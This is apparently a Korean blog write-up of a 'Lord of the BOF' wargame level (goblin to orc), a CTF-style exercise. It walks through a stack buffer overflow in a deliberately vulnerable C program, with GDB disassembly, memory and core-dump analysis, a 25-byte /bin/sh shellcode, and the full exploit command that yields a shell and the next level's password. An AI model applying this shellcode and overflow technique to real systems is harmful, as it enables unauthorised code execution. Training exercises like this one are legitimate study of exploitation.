ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LEVEL4] (goblin -> orc) : egghunter
    Wargame/LordOfTheBof (redhat) 2013. 6. 26. 14:33

    1. 문제 Source

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - orc
            - egghunter
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char **environ;
    
    main(int argc, char *argv[])
    {
    	char buffer[40];
    	int i;
    
    	if(argc < 2){
    		printf("argv error\n");
    		exit(0);
    	}
    
    	// egghunter 
    	for(i=0; environ[i]; i++)
    		memset(environ[i], 0, strlen(environ[i]));
    
    	if(argv[1][47] != '\xbf')
    	{
    		printf("stack is still your friend.\n");
    		exit(0);
    	}
    
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    }

    buffer의 공간이 40 Byte로 늘었다. 그리고 여러 제약이 추가되었는데,


    1. 환경변수(environ)를 모두 0으로 초기화한다.

    2. argv[1][47]이 \xbf인지를 확인하고 아니면 종료한다.


    어차피 앞에서 시도했던 모든 공격들은 shellcode가 있는 주소값이 0xbf로 시작했으니 2번은 상관없고,

    1번또한 40 Byte면 shellcode를 넣기에 충분하다. 즉 LEVEL1과 틀린점은 buffer 사이즈가 틀린것 외에는 없다.


    2. GDB로 분석

    먼저 원본파일에는 권한이 없기 때문에 GDB 사용에 어려움이 따를수도 있다. 원본을 복사하여 사용하자.

    (참고 : 원본파일과 파일명 길이가 다를경우 메모리 주소에 차이가 있을수도 있으니, 가능하면 파일명은 같은 길이로 복사하자)

    [goblin@localhost goblin]$ cp orc ora


    이후 복사본을 gdb로 열어 분석한다.

    [goblin@localhost goblin]$ gdb -q ora 

    (gdb) set disassembly-flavor intel

    (gdb) disas main

    Dump of assembler code for function main:

    ...중략...

    0x80485b8 <main+184>: push   %edx

    0x80485b9 <main+185>: lea    %eax,[%ebp-40]

    0x80485bc <main+188>: push   %eax

    0x80485bd <main+189>: call   0x8048440 <strcpy>

    0x80485c2 <main+194>: add    %esp,8

    0x80485c5 <main+197>: lea    %eax,[%ebp-40]

    0x80485c8 <main+200>: push   %eax

    0x80485c9 <main+201>: push   0x8048659

    0x80485ce <main+206>: call   0x8048410 <printf>

    0x80485d3 <main+211>: add    %esp,8

    0x80485d6 <main+214>: leave  

    0x80485d7 <main+215>: ret    


    strcpy가 끝나는 부분인 <main+197> 부분에 break point를 걸고 살펴보자.

    (gdb) b *main+197

    Breakpoint 1 at 0x80485c5

    (gdb) r `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`

    Starting program: /home/goblin/ora `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`


    Breakpoint 1, 0x80485c5 in main ()

    (gdb) x/20wx $esp

    0xbffffaac: 0x00000016 0x41414141 0x41414141 0x41414141

    0xbffffabc: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffffacc: 0x41414141 0x41414141 0x41414141 0x42424242

    0xbffffadc: 0xbfbfbfbf 0x00000000 0xbffffb24 0xbffffb30

    0xbffffaec: 0x40013868 0x00000002 0x08048450 0x00000000

    (gdb) x/s 0xbffffab0

    0xbffffab0: 'A' <repeats 40 times>, "BBBB����"

    x/s 0xbffffab0 - 해당 주소의 문자열을 보여준다. 'A' <repeats 40 times> 라는 결과로 여기서부터가 buffer의 주소라는것을 알 수 있다.

    0xbffffab0이 buffer의 시작 주소인것을 알아냈다. 이제 buffer에 shellcode를 삽입하고 eip를 저 주소로 바꿔서 쉘을 얻자.


    3. Exploit

    사용할 shellcode는 아래와 같다. (총 25 Byte)

    \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80


    이전의 41 Byte의 shellcode보다 짧아졌는데. 이유는 간단하다.

    전의 shellcode는 setreuid( geteuid() , geteuid() ); 를 한 뒤에 /bin/bash를 띄우는 shellcode였지만,

    이 shellcode는 단순히 /bin/bash만을 띄우는 shellcode이다.

    그런데 동작하냐고? 물론 동작한다. 이유는 해당 BOF 원정대 Red Hat 버전이 굉장히 낮기때문. 차후 높은 버전에서는 setuid가 걸려 있어도 바로 /bin/bash를 실행하지 못한다.


    이제 위의 shellcode를 이용해 shell을 획득하자. shellcode뒤에는 최소 16 Byte의 공간이 있어야 shellcode가 실행이 된다.

    아래는 최종 구성이다.

    shellcode 

    NOP 

    SFP

    RET 

     25 Byte

    15 Byte

    4 Byte(NOP) 

    4 Byte 

     40 Byte


    [goblin@localhost goblin]$ bash2

    [goblin@localhost goblin]$ ./ora `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x90'*19 + '\xb0\xfa\xff\xbf'"`

    1�Ph//shh/bin��PS��1Ұ

                         �����������������������

    Segmentation fault


    이상하게 Segmentation fault만 나고 shell이 뜨지 않는다. 보기쉽게 A를 buffer에 채운 뒤 core를 떨어트려 분석해보자.

    [goblin@localhost goblin]$ ulimit -c unlimited

    [goblin@localhost goblin]$ ./ora `python -c "print 'A'*40 + 'BBBB' + '\xb0\xfa\xff\xbf'"`

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����

    Segmentation fault (core dumped)

    [goblin@localhost goblin]$ gdb -q ora core 

    Core was generated by `./ora AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����'.

    Program terminated with signal 11, Segmentation fault.

    Reading symbols from /lib/libc.so.6...done.

    Reading symbols from /lib/ld-linux.so.2...done.

    #0  0xbffffab0 in ?? ()

    (gdb) x/40wx $eip 

    0xbffffab0: 0x080485d3 0x08048659 0xbffffac0 0x00000017

    0xbffffac0: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffffad0: 0x41414141 0x41414141 0x41414141 0x41414141

    0xbffffae0: 0x41414141 0x41414141 0x42424242 0xbffffab0

    0xbffffaf0: 0x00000000 0xbffffb34 0xbffffb40 0x40013868

    0xbffffb00: 0x00000002 0x08048450 0x00000000 0x08048471

    0xbffffb10: 0x08048500 0x00000002 0xbffffb34 0x08048390

    0xbffffb20: 0x0804860c 0x4000ae60 0xbffffb2c 0x40013e90

    0xbffffb30: 0x00000002 0xbffffc2e 0xbffffc34 0x00000000

    0xbffffb40: 0xbffffc65 0xbffffc76 0xbffffc90 0xbffffcaf

    이상하게도 기존에 buffer 주소로 입력했던 0xbffffab0은 이상한 값들로 채워져 있고 16 Byte나 차이나는 0xbffffac0부터 A(0x41)가 채워져 있는것을 확인할 수 있다.

    이것이 바로 LEVEL1 풀이시 설명했던 gdb로 보는것보다 core를 보는것이 더 정확하다고 했던 이유다. 이상하게 가끔 gdb로 보면 실제 buffer와 주소값이 다를때가 있다.

    아무튼 이제 실제 buffer의 주소를 알아냈으니 이를 이용해 다시 공격하자.


    [goblin@localhost goblin]$ ./orc `python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80' + '\x90'*19 + '\xc0\xfa\xff\xbf'"`

    1�Ph//shh/bin��PS��1Ұ

                         �����������������������

    bash$ my-pass

    euid = 504

    cantata


    성공 !


Designed by Tistory.